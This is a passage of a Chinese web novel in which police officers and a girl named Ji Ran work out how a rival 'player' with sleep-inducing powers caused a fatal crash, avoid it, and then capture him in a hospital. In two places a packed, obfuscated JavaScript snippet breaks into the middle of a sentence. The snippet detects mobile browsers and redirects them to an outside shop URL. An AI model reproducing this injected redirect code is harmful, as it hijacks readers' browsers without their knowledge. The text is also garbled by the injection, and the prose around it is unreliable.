平常空闲时非常爱看各种小说的肖羽听到这句话,捏了捏自己的下巴:“如果不是变出来的,说明在另一条路上本身就有一辆重卡。夜间车辆行驶都会注意速度和前方是否有人,特别是分岔路口更是会减速慢行。” 他继续分析:“能开这种重型货车作业车的司机,至少拿的是B2驾驶证。而能单独跑夜路的司机,不至于会犯这种低级错误。” 纪然侧过脸,对上肖羽的视线:“那就证明这个司机是被迫的。车祸死亡人数只有七个人,排除重卡驾驶室有第二个人会威胁司机的可能性后,这种人为的被迫,在已知条件下只会是出租车上的玩家搞得鬼。” 叶柯也跟上思路:“这样可以看出,那个玩家的能力是直接影响的司机。通过催眠或暗示等手段,让人进入负面情绪状态,或达到精神疲倦状态。人受情绪或精神影响后,行为也会发生改变。” “很大可能就是这样,不过也有可能是直接操控的司机肢体,或许还有通过电话进行远程恐吓让司机配合。”除此之外,纪然也想不到还有什么方法能远程控制司机。 肖羽点头:“这些都有可能,不过它们都存在一个共同点。” 听了半天的乔云深又加入对话:“都是通过远程手段,达到让司机不减速冲进岔路口的行为目的。” “你什么时候情商能有智商的一半高就好了,”肖羽咂嘴,继续严肃道,“所以他的道具或能力是远程控制类。而在发生爆炸后只有七个人死亡,他手里肯定还有一个保护或者瞬移功能的道具,或者说能力。” 一边听着他们几个人分析,一边注意着出租车的动静,还要给李新咏报坐标。宋承一心三用,抽空问道:“纪然,你‘预测’的未来里有没有在车祸后发现那个玩家?” 她回忆笔记本第四页和第五页的内容,摇头:“没有,只知道是出租车撞过来的。” 听到这,肖羽肯定了自己的猜测:“以时间点来看,在紧追不舍的情况下间隔几秒就撞上来,且并没有在车祸后被发现有他的存在,说明他第二个能力是瞬移之类的,能快速逃离现场。” 纪然也觉得他分析得很对,不过大家谁也不能确定这人还有没有第三个能力或道具。 几人都能想到这点,无论是刑警还是心理师,亦或是法医,几个人里就没有一个思维逻辑不好的。就算是身为普通人的纪然,也不会忽略这么明显的思维漏洞。 时间来到23:17分,距离“未来”第一次车辆撞击还剩两分钟。 “他的能力知道得差不多了,我们该怎么应付呢?”乔云深皱起眉,趁着后面车没撞上来,暂时瘫在靠背上。真复杂啊,果然还是做专业内的检验分析更舒服,可这又跟自己的小命有关,不得不去深想。 “现在停车他会立马撞过来,而我们换了路线后,他无法再操控重卡司机,路上也说不准会不会有其他车经过。但有可能他会选择直接操控我们,比如说李哥——” 肖羽看向驾驶座上的李新咏:“直接影响李哥也能达到车祸的目的。” “如果是精神暗示类的操控,以李哥的意志力是不用担心什么,就怕对方是肢体操控……” 纪然听懂了,在还算平稳的车速里,解开安全带,扶着座椅站起身:“我们换个座位,等下他如果失控了,需要你跟宋队长来阻止他。” “我跟他换,你待在中间安全些,对方的目的是你。”叶柯阻止了她的动作,站起来与肖羽换了位置。 “一有不对劲就先刹车,以这辆车的坚固性面对出租车还是能抗一两下。”宋承也认同了这个猜测。 23:18分,所有人严阵以待,一边盯着李新咏开车的动作,一边防备着对方还有其他特殊的能力。 李新咏也进入戒备状态,浑身都紧绷起来。 23:19分,出租车以一种不要命的架势撞过来,在宋承报坐标后,李新咏迅速驾驶着车子躲避,大家纷纷稳住自己往一边倒的身体。 就在这时,李新咏感觉到自己的大脑突然变得模糊混乱起来,像连熬三个通宵执行高难度任务一样,一旦放松能立马厥过去。 幸好他有做好心理准备。 李新咏对扛着精神上的异常难受的感觉,从齿缝里溢出几个字:“是精神影响。” “还能开车吗?若影响很大就换我来开。”宋承一边盯着后视镜,一边分出精神用余光盯着李新咏,一旦有任何不对劲,就会立刻按住他。 李新咏眯着眼,看着前方的眼神有些凶,像一匹孤狼似的,充满了警惕:“不影响,没有当年做的俘虏训练强度大。” 听到他这么说,车里几人都松了口气,沉重的气氛也缓和了许多。但大家也没放松警惕,这件事还没解决。 车子一阵飞驰后,23:20分,纪然看到车载平板上的时间跳动时,眼前一亮,立马就说:“第一个时间节点过了,第二个还不确定。” “新咏,你感觉怎么样了?”在躲开又一次撞击后,宋承抓着把手稳固身体,问道。 李新咏神色未变,眼睛微眯嘴唇紧抿:“没事,除了困没什么异常。” 肖羽听到关键字,大脑飞速运转:“对方的精神影响是让人产生浓烈的困倦睡意,那么之前的重卡司机就是陷入疲劳驾驶状态。他在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179109|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分岔路口没减速,加上李哥开车时的视角盲区,其他人关注重心又在后面车上,从而引起车祸。” “对方利用这一点,再次撞过来,在力的作用下撞破了重卡的油箱。不过按理来说也不应该这么容易引起爆炸,这是一个很小概率的事件……” 听到肖羽的话,宋承发现一个问题:“车祸爆炸具有延时性,虽然爆炸只是个很小的概率,连产生火灾的概率都比爆炸大。但一旦被自己碰到那就是百分之百。不过抛除概率问题,会发生爆炸的最大可能性是有火源的存在。” 这些知识点纪然居然能在自己脑子里扒拉到,她加入分析:“金属撞击也有可能在撞击瞬间产生火花,但这种火源通常是短暂的,也并不符合五分钟后才爆炸的延时性。” “更有可能的火源是电路问题,但大多数车辆都配备了车祸断电装置和安全气囊,降低了引起爆炸的风险。”纪然抬眼看向车顶,眼神没有焦距,不断思考着。 肖羽捏了捏鼻梁,不断猜测:“连汽油蒸汽需要与空气混合,达到一定的燃爆浓度,并且遇到点火源才会发生爆炸,这也是需要火源。” 时间来到23:23分,过去了三分钟,出租车仍在后面紧追不舍。 纪然看到时间,说不上来是松了口气还是又紧张起来,说道:“第二个节点也没触发,可能是避开了,但是第三个节点是25分的爆炸。” 此时的李新咏依然面无表情,双手稳稳地握住方向盘,看起来没有受到什么影响,车开得依然很稳。 “在排除掉极小概率事件引起的爆炸后,最大的可能性就是火源。那么在重卡、suv、出租车之间,有什么火源?”肖羽皱眉,一副思索的模样。 听到这个问题,纪然垂眸思索:“会不会不是车的问题,而是人的问题?” 人的问题? 宋承沉思着,手指轻轻摩挲着指节上的老茧,眼神透露出几分复杂。他缓缓开口:“那些深夜驾车的司机,当他们意识到自己开始疲劳驾驶时,大多数人可能会选择点燃一支烟来提神……” “……” “……” 意料之外,情理之中。车里几人都有些无语。 谁能相信自己会因为别人点了根烟而丧命的?还不如相信自己是撞上了极小概率的倒霉事件。 “也有这种可能,但是也不排除还有其他的可能性。”纪然有些无力地说道。 她感觉已经没有什么比这更合理的爆炸理由了。先是司机被那个玩家影响,导致进入疲劳驾驶状态,他点了支烟想要提提神,大概率是在低头递烟的时候来到岔路口,没注意就与他们撞上了。 而他们也因为在躲避后面车辆的追击,加上三岔路口的下两边都属于视角盲区,在都没减速的情况下,砰。 油箱破裂,燃油泄漏。 夹手指上的香烟被撞击后飞落,不知道掉到哪个犄角旮旯。等汽油流到香烟附近,那一点点火星,要了五个人的命,还有两个死于车祸。 这这真是命运的讽刺,谁听了不得说一句造化弄人。 然而,归根结底,真正的罪魁祸首是那个坐在后面车里的玩家。如果不是他,这场悲剧或许就不会发生。 但仔细想想,还应该算上发布悬赏的人,以及那些让她和季然身份互换的人。他们同样负有不可推卸的责任,都是这场悲剧的制造者。 25. 我跟你拼了! 几人都看了眼时间,23:24分,离“死亡结局”的爆炸还有1分钟。时间越接近,大家说话时声音都带着一丝紧绷。 “在没有出车祸也没有火源的情况下,他会怎么创造出一场爆炸?”虽然是用车上所有人都能听见的声音说出来,但肖羽更像是在问他自己。 “起码他没有直接让东西爆炸的能力,”倒计时带来的紧张感让后排的乔云深坐直了身体,语速也变快了,“不清楚他的精神影响能持续多久,也不确定这种能力的使用次数和间隔,说不定他会选择继续影响其他人。” “这倒是有可能,不过如果只是让人陷入困倦状态,这个能力除了对付司机以外,对我们其他人而言并没有什么危险性。”叶柯说道,扭头从后面的车窗玻璃中看了一眼紧跟着的出租车。 纪然若有所思,按照几人分析的情况来看,那个玩家的精神影响伤不到人,那他为什么还会紧追不舍?如果有什么其他道具或能力,也该用出来了。 一时间,她的大脑里蹦出一个大胆的猜测:“你们说,他这个精神影响会不会不止作用到人类身上?” 车里安静了一秒,肖羽脑子转得飞快,话也说得飞快:“你是说会影响动物?人的大脑要更为复杂,作用到人身上的现象是陷入困倦,作用到动物身上……有可能是发狂,或者被催眠?” “这里虽然偏僻但还没到郊外,以我们现在的车速,没几个动物能跟得上。”时间越来越紧迫,他忍不住皱眉。 纪然心里数着秒,眼看着时间越来越接近,心慌得很:“我指的是不具备意识的非生命物体,精神影响会不会直接能操控到它们?” 虽然是很惊奇的一个猜测,但是连道具和玩家这种只出现于游戏里的存在都能来到现实了,那这种猜测也不是没有可能性。 宋承从后视镜收回目光,看向车载平板上的地图,以当前这个路线行驶,前面也有一个三岔路口。 他打断了所有人的讨论,眉眼间带着慎重:“前面有个三岔口,比起影响动物或非生命物体,重卡司机出现在另一条路的可能性更大。” 纪然唰的一下看向地图,又是三岔路,难道这次的第三个节点避不开吗? 这时候,李新咏突然开口:“精神影响消失了。” 几人精神一振,在这种时候收回能力,不就是代表了他去影响其他人了吗? “都别放松警惕,对方很有可能会继续撞过来干扰我们,等下什么都别管,到路口的时候新咏直接转弯。”宋承做出决定。 “了解。”李新咏看了一眼路线,把注意力放到前方。 安静的道路上,只有一前一后两辆车子飞驰而过的声音。随着秒数的接近,他们离三岔路口越来越近。 宋承紧盯后视镜:“他要撞过来了,注意躲避……路口到了,七点钟,三米!” 李新咏想也没想的就往左大转弯,随着一阵刺耳的轮胎摩擦声,车尾刚好擦着突然冲过来的重卡车头冲过去。 紧跟其后的出租车反应不及时,直直撞上了重卡车厢。 “嘭!” 即便安全气囊弹出得很及时,出租车驾驶位上的男人还是当场就晕了过去,重卡司机被这两下动静吓得一个手抖,左手食指中指夹着的香烟飞了出去。 停在一边的suv里的六人都看到了。 “死亡结局改变了……”纪然眼睛眨也不眨地看着车窗外,轻声道。 “一招使两遍还能有效就怪了。”乔云深吐槽,真的很难以置信他们之前会因为这个团灭。 不,不是两遍,是三遍。 纪然在心里反驳了乔云深的话。若是上一次读档里她能翻开笔记本,或许他们就不会多死一次。 但是想到第四页从车祸后开始的内容,混乱又描述不清,是因为她被撞出脑震荡了吗?所以所有细节都没写出来。 只有第五页描述得特别清楚,才能让他们做好心理准备,避开了“死亡结局”。 瞧着卡车油箱没有被撞到,叶柯摸出手机报警,还叫了救护车。肖羽和宋承走下车,来到重卡与出租车之间。 两人先是看到车头被撞瘪的出租车,车里的安全气囊弹出,驾驶位上的男人一动不动,像是被震晕过去了。 肖羽从破碎的车窗里伸手打开车门,幸好车门受损不严重,还能直接打得开。他从随身背着的包里掏出一副手铐,先把人拷住再说。 宋承走到重卡边上,敲了敲车门的下半边,扬声问:“还醒着吗?有没有受伤?” 重卡司机哆哆嗦嗦地探出头:“I‘m fine,thank you……How are you?” “……” 宋承无语了那么一秒,他寻思着自己也不是问的英文啊,怎么就触发了这个被动回答。 “你没事吧?”宋承又问了一遍。 “没事没事,你让开点,我开下车门。”重卡司机抖着手解开安全带,冲站地上的人喊道。 他熟练地爬下车子,这才看清面前这个刚刚问他话的人穿着藏蓝色的刑警服,一瞬间在脑子里把自己这辈子做过的坏事都想了一遍,又有点慌了:“刑警……大哥啊……我……我没杀人……” “……” 宋承揉了揉眉心:“我知道,真有问题这会儿你就不是站在这了。你有没有哪里受伤?” 重卡司机张净远松了口气,把头摇成拨浪鼓:“没有没有,就有点被吓到了。”说到这,他回头看了一眼车厢被撞的位置,还好,不是很严重。 “那车里的人没事吧?”张净远指着出租车问道,“我刚刚……不知道为什么突然就很困,然后就点个烟的功夫,冲过来一辆车擦着我车头冲过去,我还没反应过来呢,就有什么东西撞上来……” 张净远努力解释:“不过很奇怪,现在就一点都不困了,但我真的没有故意撞车!” “虽然你没有故意撞车,但是在路口减速慢行是基本常识,这些等交警来了你再解释吧。”宋承朝suv那边招手,呼啦啦又下来几个人。 李新咏走过来,开始拍摄事故现场的照片,包括车辆位置、损坏情况、道路状况、交通标志等,这些照片可以作为事故证据。 “麻烦你先在这里等交警过来,不要移动任何车辆或物品,以免破坏事故现场的证据。”叶柯也下了车,对张净远说道。 张净远点头,见几人都到出租车那查看情况,他就绕到重卡车头看了圈,幸好没 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车头受损不是很严重,车窗碎裂了不少,车里血迹不多。安全气囊弹出得很及时,里面的人受伤并不严重,已经被肖羽他们小心地拖出来,正在做初步的急救措施。 “搜身了吗?”纪然站在一边看了半天,问出这句话。 “他身上什么都没有,”叶柯也站在一边,表情有些凝重,“跟之前他们搜张统一样,身上连个手机都没搜到。” 确认过这人没啥问题后,肖羽站起身,挑了挑眉反问道:“按‘玩家’和‘道具’这两个关键词来说,身上找不到东西,那说明什么?” 没看过小说但是玩过游戏的李新咏接话:“说明有游戏背包。” 听到这话,叶柯羡慕了一秒:“跟随身空间似的,还挺方便的。” 怀里夹着笔记本的纪然没有吭声,暗自琢磨着为啥她没有背包。现在这个笔记本她走哪得就得手拿到哪,很不方便。 乔云深凑过来:“你咋没有游戏背包?” 这问题问的,肖羽飞快过来一把捂住他的嘴,把他一边拖走一边说:“童言无忌童言无忌,不要跟他计较哈。” “唔唔……”为什么不能问?乔云深瞪大了眼睛,好奇极了。 “……没事,反正你们都知道了,”纪然耸肩,张统和现在这个玩家的事他们全都知道了,加上这些离奇的事他们还得深入调查,她也瞒不了多久,“我也不清楚为什么我没有背包。” 大家现在都在等交警过来,重卡司机在卡车另一边打电话,纪然和第一小队的六人开始说一些之前瞒着的事。 她从口袋里摸出一张黑卡:“原本我是不记得自己的名字,但是我在她房间里找到这张卡,上面写着的名字和这本笔记本里出现的名字一模一样。” “这个笔记本……功能有点奇怪,不用书写,里面会自己写出我刚刚发生的事,像日记本一样,所以我才肯定我自己的名字是叫‘纪然’。” 纪然这时才看到黑卡正面的内容变了。 「纪然」 「ID:1001437」 「1,0,1」 26. 无限流游戏? ??? 之前不是「1,0,0」吗?怎么后面的数字还变了? 她仔细回想今天发生的一切,除了张统的事,也没什么奇怪的地方。而关于张统最奇怪的部分就是那个跳出来的气泡框,说要吸收,然后张统的黑卡就消失了。 紧接着就跳出两句提示。 「吸收完毕,获得300积分」 「击杀玩家数量+1」 她合理怀疑,后面这个“1”,不会就是这个“击杀+1”吧…… 强大的神秘存在把张统的死亡算在她头上,是因为张统死后她以玩家的身份碰到了他的黑卡么? “我们能看下你的这张卡吗?”宋承看到纪然对着黑卡发起呆,问道。 “你们会把我抓去切片吗?”纪然有点犹豫,她好像交底太快了。不过以笔记本的记载,他们救了她好几次,还以命相救,应该不会害她吧。 听到纪然的话,第一小队的五个人纷纷笑了起来。 “小妹妹,你在乱想什么呢?我们是人民警察,又不是拿人体做实验的疯狂科学家,”叶柯揉了揉纪然的头,笑得肩膀颤抖,“而且拥有这种神奇的能力,去给国家给社会做贡献不好吗,为什么要切片损失掉一大助力?” 肖羽点头,然后耸了耸肩,摊手:“是啊,谁不想拥有特殊能力呢,看小说时都很羡慕里面的主角。我这么辛苦训练不就是为了在没异能的时候把身体素质提升到极致,达到武侠小说里的水准。” “不过很可惜,我至今还不会六脉神剑和凌波微步什么的。”他继续说道,还叹了口气。 乔云深伸着脑袋,也开了个地狱玩笑:“放心,只要你活着,我肯定不会把你切片的。” 纪然莫名被逗笑,她对第一小队的几个人都比较有好感,从各种细节上也能看得出来,他们实际上都是一群内心很温柔的人。 她把黑卡递给宋承,他们一个接一个的看完了上面的内容,在心里跟张统的卡做比较。 “你的任务是找到那个季然?怪不得你要跟我们合作。”肖羽把黑卡还给纪然。 纪然接过卡,就看到宋承看过来,他问道:“你知道那三个‘1、0、1’是什么意思么?” 她摇头,没有把气泡框和自己猜测的事说出来。在不影响调查的情况下,没必要把自己的一些事说得那么清楚,何况还是涉及到人命的,虽然也不是她杀的。 “你的新手提示已经使用过一次,提示的什么?”比起其他的信息,李新咏更好奇这个。 “不清楚是不是这个,上午在她房间里找线索时,电视突然自己开始自动播放新闻直播,内容就是把季铭的案件列入第九系列凶杀案。在当时发生的事里,这是最符合新手提示的事。” 纪然没瞒着这个,毕竟一看就知道这些事全是连在一起的,能提供一条线索就能早点找到季然。 “所以说,那个季然果然与季铭的死有关系么?”肖羽搓了搓下巴,眼眸一转,看了过来,“这个新手提示是你主动使用的还是被动触发的?” “被动的,我控制不了,说不准什么时候会出现第二条提示。”纪然也很奇怪,这种提示类的新手福利不应该是主动类的吗,被动的这得等到什么时候才能完成任务? 宋承轻轻点头,眉眼间一下子就严肃起来:“下一次出现提示时,麻烦你及时告诉我们,这不仅关系到你的任务,还关系到更多的人命。” 知道这其中的危害,纪然很认真地点头:“我知道,有变化我会说的。不过我的任务限时三天,没完成的话可能跟张统一个结局,所以还请麻烦你们尽快找到她。” 她可不想在拥有记忆后只能拥有三天的寿命,而且被那种存在给抹杀掉,笔记本的读档功能应该也会失效吧?她不想赌这种可能。 几人点头,宋承眼神深邃,神色坚定:“这是我们的分内之事,更是我们的责任。你能信任我们,我们定不会辜负你的期望。” 虽然这话听起来有点官方,但看他们的神色,一个个都很正式,像宣誓一样,一点都不会让人怀疑这话的真假。 李新咏看了眼时间,晚上23:37分。估算了距离和车速,他说:“附近的交警和救护车估计快到了。” 宋承颔首,看到纪然打了个哈欠,便说:“你回车上休息一会儿吧,我们跟交警交接一下就好。” 没客气什么,纪然直接回到车上。这都快零点了,一般人多少都有点困倦,何况今天一天的情绪波动都比较大,更加累人。 上车后没多久,叶柯也回到车里,到她边上坐着。见她眉眼间带着困乏,轻声说:“要不你睡一会儿?有情况我会叫醒你的。” 纪然微微点头,打了个哈欠,眼里泛起生理性的泪水:“好,那我睡一会儿……” 没两分钟,她就靠着座椅陷入了睡梦中。 之后发生了什么纪然并不清楚,在意识朦胧间时不时能听到一些说话声,还能感受到有人进了车子,之后车子发动后行驶时带来微微的晃动。 但是她太困了,睁不开眼,就完全由睡意淹没自己的大脑意识。 万幸的是,这次她没做噩梦了。也许是叶柯身上带着洗衣液清淡清透的香味,也许车子里没有张统那个疯子了,总而言之,她睡得挺舒服的。 一直到被叶柯温柔叫醒时,她都有些沉迷于睡眠中,不愿醒过来。 “小妹妹,我们到医院了。你是在车子里多睡一会儿等我们回来,还是跟我们一起进去?”见纪然睁不开眼,叶柯很有耐心地说道。 纪然费力地睁开眼,在外面奔波一天,没洗手时她还不敢直接揉眼睛。她一边解开安全带,一边沙哑道:“一起吧,我也想知道张统到底是怎么回事。” 下车时叶柯扶了她一把,人在睡觉时强行醒过来后容易头重脚轻,以防她绊到。 这个姐姐真的太温柔了,纪然心想,好喜欢跟她贴贴。 一行人从露天停车区走进医院。跟下午做体检的医院不是同一家,纪然左右看了圈,此时已经凌晨零点多了,医院大厅只有零星几个人,在亮堂的灯光照耀下,显得有些空荡。 这才发现李新咏不见了,纪然有些奇怪:“怎么少个人?” 乔云深走在她右手边,回答道:“怕出什么意外,李哥跟救护车一起走了,不过也是在这个医院,等我们忙完了可以去找他。” 他们一路来到医院的地下一层,张统所在的停尸间。 对管理人员出示证件说明情况后,他们走了进去。 这里的空气中弥漫着一种说不出的沉闷和压抑感。冰冷的金属台子整齐地排列着,上面覆盖着白色的床单,床单下是静静躺着的遗体。 房间的光线略显昏暗,只有几盏冷色的灯散发着微弱的光芒,勉强照亮了这片空间。空气中弥漫着一股淡淡的福尔马林的味道,这是防腐剂的味道,掩盖了死亡的气息。 管理人员带他们走到其中一架灵床前,指着被白布盖上的尸体说:“这个人是你们要找的张统,他是今晚刚去世的人,死于心脏衰竭。” “外地人员死亡后,本来是要将遗体运回死者生前居住地的,或者2小时内要通知辖区殡仪馆接运火化,但目前还没能联系上他的亲朋好友,只能先放在停尸间了。” 宋承点头:“麻烦你们了。” 他伸手掀开灵床上的白布,张统青白色的脸就露了出来。乔云深立马凑近仔细观察,从头到脚都打量了一遍。 这还是有记忆以来,纪然第一次看见尸体,有些不适,但是还能忍。她看了几眼确定这就是张统本人后,移开了视线。 真的很诡异,本来22点在看押室自爆的张统,竟然在21点死于心脏衰竭并出现在医院。看押室里消失不见的人,出现在医院停尸房。 而且其他人的记忆跟他们六人完全不一样。 “是张统没错,表面并无明显外伤,指甲缝里也很干净。尸体出现轻微尸斑,预计死亡时间已有三四个小时。”乔云深观察完了,直起身说道。 “若是死于心脏衰竭,解剖的结果一般是心脏组织存在异常,如心肌肥厚、纤维化等病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179111|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理改变,以及冠状动脉粥样硬化斑块形成,导致心脏供血不足,最终引发心脏功能衰竭。” 乔云深揉了揉鼻子,继续说:“直接看是看不出什么问题,不过有医院提供的抢救报告,理论上是不会有问题。” 他们拍了一些照片后就走出了停尸间,回到一楼大厅。 “尸体没问题,更能说明一件事,”肖羽身为一个老书虫,各种离奇古怪类型的小说没少看,“邀请他们成为玩家的存在——一般在无限流小说里被称为主神系统之类的,它会把玩家的死亡给合理化。” 他双臂环抱,用手指轻点胳膊:“在我看过的小说里,这种合理化会修改其他人的记忆力。这与我们碰到的这件事一模一样,我合理怀疑你们是被拉进无限流游戏的玩家。” 纪然眨巴着眼睛:“什么是无限流?” 肖羽深呼吸一口气,眼神有些复杂:“通俗点来说,就是会进入一个又一个游戏副本,这个副本可能是真实世界,也可能是主神系统创造出来的虚拟世界。玩家被拉进去后要不停地去挑战这些副本,通关了会有奖励,失败了会死。” “那要通关到什么时候才能全打通关呢?”乔云深问道,他平常也没看过小说,还是第一次听到这种设定。 “这不好说,要看小说设定。有些是永远都通不了关,有些是达到一定的副本次数就可以,而有些则是需要打败主神系统自己成神。这种无限流的世界里,基本上都是九死一生。”肖羽叹气,很难想象现实中真的会有这种离奇的存在。 “要跟人斗,跟怪物厮杀。天灾人祸,在各个世界里极限求生,在游戏规则里一息尚存,实在是很难。什么类型的副本都会有,比如刚碰到一个考智力观察力的解谜副本,下一个可能就是丛林大逃杀。” 纪然皱起眉,思索道:“也就是说,想要在这种无限流副本里活下去,就得全面发展?” “差不多吧,要么拥有绝对的智力,要么拥有超强的武力。都没有的话就得尽量全面发展了。”肖羽百感交集,把一个涉世未深的小女孩拉进这样凶残的世界里,能活得下去吗? 想了想,肖羽又说道:“当然,也有可能这不是无限流游戏,而是一个不知名系统给你们安排的游戏,没那么残酷。” 纪然舔了舔下唇,在恐惧不安之中,突然有一种莫名的兴奋激动感从心底泛起波痕,复杂至极。 听了半天,叶柯拍了拍她肩膀,轻声道:“别想太多,这些都是小说里的设定,跟现实肯定不一样。你看你的任务只是找人,有我们警方帮忙,你不会有什么危险的。” 点点头,纪然冲叶柯抿嘴微微笑了笑。 肖羽很认真地说:“你平时可以锻炼起来,学习各种野外求生类的知识。若是需要,我们在空闲时候也可以指点你一二。不管怎么说,多锻炼多学习,对自己没有坏处。” 虽然他觉得是无限流的可能性非常大,但是在那种充满血腥的世界里,连他一个大男人光是想想都感觉有些受不了,何况人家一个还没到他下巴高的小姑娘。 他安慰道:“就像小柯说的,你这次的任务没什么危险性,以后的任务可能也都是这种,只要认真去做就能完成任务,不用太担心什么。” 乔云深虽然刚成年,长了张正太脸,但是个子也比纪然高半个头。他凑过来说:“就当你穿越到游戏世界里,打通副本可以获得奖励,奖励用来提升自己,然后挑战更高难度的副本,获得更高的奖励。直到一路成神。” 说完,他被自己中二的话给逗笑了。 宋承没怎么了解过这种类型的小说游戏,但不妨碍他能听得懂,加上今天确实看见了一件件离奇的事件,确实要防患于未然,哪怕是心理准备。 他像老前辈一样开口安慰道:“无论如何,你都不要放弃生的希望。即便遇到再难的困境和再深的绝望,都要相信自己一定能够克服它们。只要你坚持下去,就一定能够活着回来。” “谢谢你们。”纪然有些不知道该说什么,这群人安慰得好认真啊,可恶,竟然又被感动到了。 27. 他逃他追 这个话题没再继续了,宋承看了一眼手机消息,说:“新咏在三楼,那个玩家没受什么伤,只是有些轻微脑震荡晕过去了。我们上去吧。” 于是一群人又上到三楼,与走廊里的李新咏会合。 “他还没醒。”李新咏带他们走到一间病房前,隔着玻璃能看到里面躺在病床上的人。 “要不直接抓回警局?”肖羽提出建议,“省得醒了后直接跑了。” 这个建议很合理,但是…… “如果他在半路上或者警局里用特殊能力跑了,你要怎么抓?”李新咏反问。 “……你问住我了,”肖羽表情一滞,扭头问纪然,“你那有什么能用的道具吗?” 纪然默默掏出黑卡,指着“新手提示”上的“新手”两个字,用指尖点了点。 “……”肖羽无语,他真是傻了,居然问一个带着新手提示的人。 “难道这种玩家就没办法抓起来吗?”乔云深隔着玻璃窗看了一眼那人,就见他手指轻轻动了动,惊得睁大了眼睛喊道,“他要醒过来了!” 话音刚落,肖羽和李新咏就迅速冲进去按住了那人,宋承站在剩下几人身边,以防突发情况她们没人保护。 病床上躺着的骆星头上包着纱布,眼睛慢慢睁开,眼里没有焦距。他的记忆还停留在车辆相撞的瞬间,没来及使用随机传送符就陷入了昏迷。 脑子里有种嗡嗡的痛感,正对着的白炽灯的亮光刺眼极了。骆星的眼睛缓缓聚焦,就看到两个高大的男人一左一右按着他,其中一个甚至还压着他的双腿。 “……” 哦豁,翻车了,早知道就先把防护道具开着了。 回想起前因后果的骆星不慌不乱地躺在病床上,看着两个眼神冷峻看着他的人。刚想吹个口哨,发现躺着不太好吹,他就收回了这个想法。 “阿sir,你们这样按着我,姿势很容易让人误会的呢。”即便是以被压制的姿态,他的嘴角还是挂起了笑,眼睛微弯,脸上的表情很是放松。 越是这幅无害的模样,反倒越是让肖羽和李新咏警惕。他们对视一眼,肖羽先开口:“你也接了关于季然的悬赏任务?” “诶?”骆星的脸上露出一丝刻意的诧异,“你们也是玩家?” 透过玻璃窗户看到他表情的叶柯有些不安,她扭头轻声对宋承说:“队长,他给我的感觉很不好。” 宋承紧盯着病房内的三人,抿唇不语。 做作的表情谁都能看出来有问题,这人毫不在意自己被抓到这件事,也没有掩饰自己的意思。肖羽皱起眉:“你先回答。” “嗯?”骆星突然挑眉,嗅了嗅空气里味道,看向李新咏,眼神里充满了玩味,“你们不是玩家……怎么你身上会有她的味道?” 他又嗅了几下,笑意更甚:“味道很浓烈的哦。要不是你就站在我面前,我可能就把你当成她杀掉喔~” 这话里透露出来的信息很奇怪,李新咏对上他的眼睛,问道:“你说的‘她’是禾子季的季然?你接了悬赏任务?” 骆星眨了眨眼睛,故作天真地说:“你们知道得好多哦,那他们也知道吗?”说着,他侧过头,看向病房面对走廊的窗户。 扫视间,纪然的目光撞进了骆星的视线里。他嘴角咧起,眼睛有一瞬间像盯住猎物的蛇一样,很快他就转过了头,继续面对肖羽和李新咏。 “有点意思,”骆星舔了舔有些缺水的唇,“就是那个女孩吗?” 他顿了一下,仿佛感受到了什么,眼里骤然荡出笑意:“哎呀,怎么还是个小新人,在这个危险的世界里,小新人很容易就夭折的喔。” 说完骆星就感觉两条胳膊被抓住的位置传来剧痛感,他轻轻嘶气:“嘶——轻点轻点,能不能对我有点怜香惜玉之心……好好不说这个,开个玩笑嘛看把你们急的,啧啧。” 肖羽低沉着声音,眼神像出鞘的刀一样,直直对着骆星:“没功夫在这跟你开玩笑,你知道点什么就直接说出来。” 骆星对这个眼神没丝毫畏惧,没有回答肖羽任何问题,反而兴致盎然地开口:“阿sir,你是不是没谈过恋爱啊?” “关你屁事。”肖羽呵了一声。 “哦破防了破防了唔唔——”骆星被迫静音,李新咏用胶带把他嘴封上了。 下一秒,他跟李新咏直勾勾的眼神对上。 “……” 哦豁,又一个破防的。 骆星开始躺尸了,他倒要看看这群普通人能怎么对付他,反正道具一开,除了比他道具等级高的攻击外,谁也伤不到他。 所以骆星无所畏惧,甚至还有点想跷二郎腿。要不是嘴被封着,他肯定得出声让那个压他腿上的警察挪开点。 宋承走进病房,瞥了一眼在病床上安详闭眼的男人,对肖羽和李新咏说道:“被按住这么久都没有跑掉,他的特殊能力肯定有什么限制。你们控制住他的双手保持皮肤接触,带回警局。” 看到这个在病床上躺得像在自己家床上一样悠闲的人,刚走进来的纪然也觉得,把这种人放在医院里太过于危险。医院里大多数都是手无寸铁的病人和医护人员,谁知道他会不会突然使用什么奇怪的能力,给医院造成混乱伤亡。 瞥了一眼骆星,肖羽也想到这些,视线落在他手上:“这还不跑,那这种类似于瞬移或者传送的能力,要么是需要媒介才能使用,要么就是我们碰在一起被识别成三个人,而他的能力只能单人用,人数超了就不起效。” “李哥你别松手,我们两押着他回去。这种人待在医院太危险了,一不留神可能就被他钻了空子。” 肖羽和李新咏强行拉着骆星起身。 听到可能需要媒介后,纪然就猜测不管是需要什么媒介,总得用手拿出来吧。所以在看到他被手铐锁在身前的双手,就拿起不知道谁放在边上的空瓶子一把塞进他手里:“拿好,掉了就当你要逃跑。” “……” 骆星的眼球在闭着的眼皮下骨碌碌转动,这些人为什么会知道这么多啊?一群普通人加上一个小新人,按理来说应该啥也不懂啊。 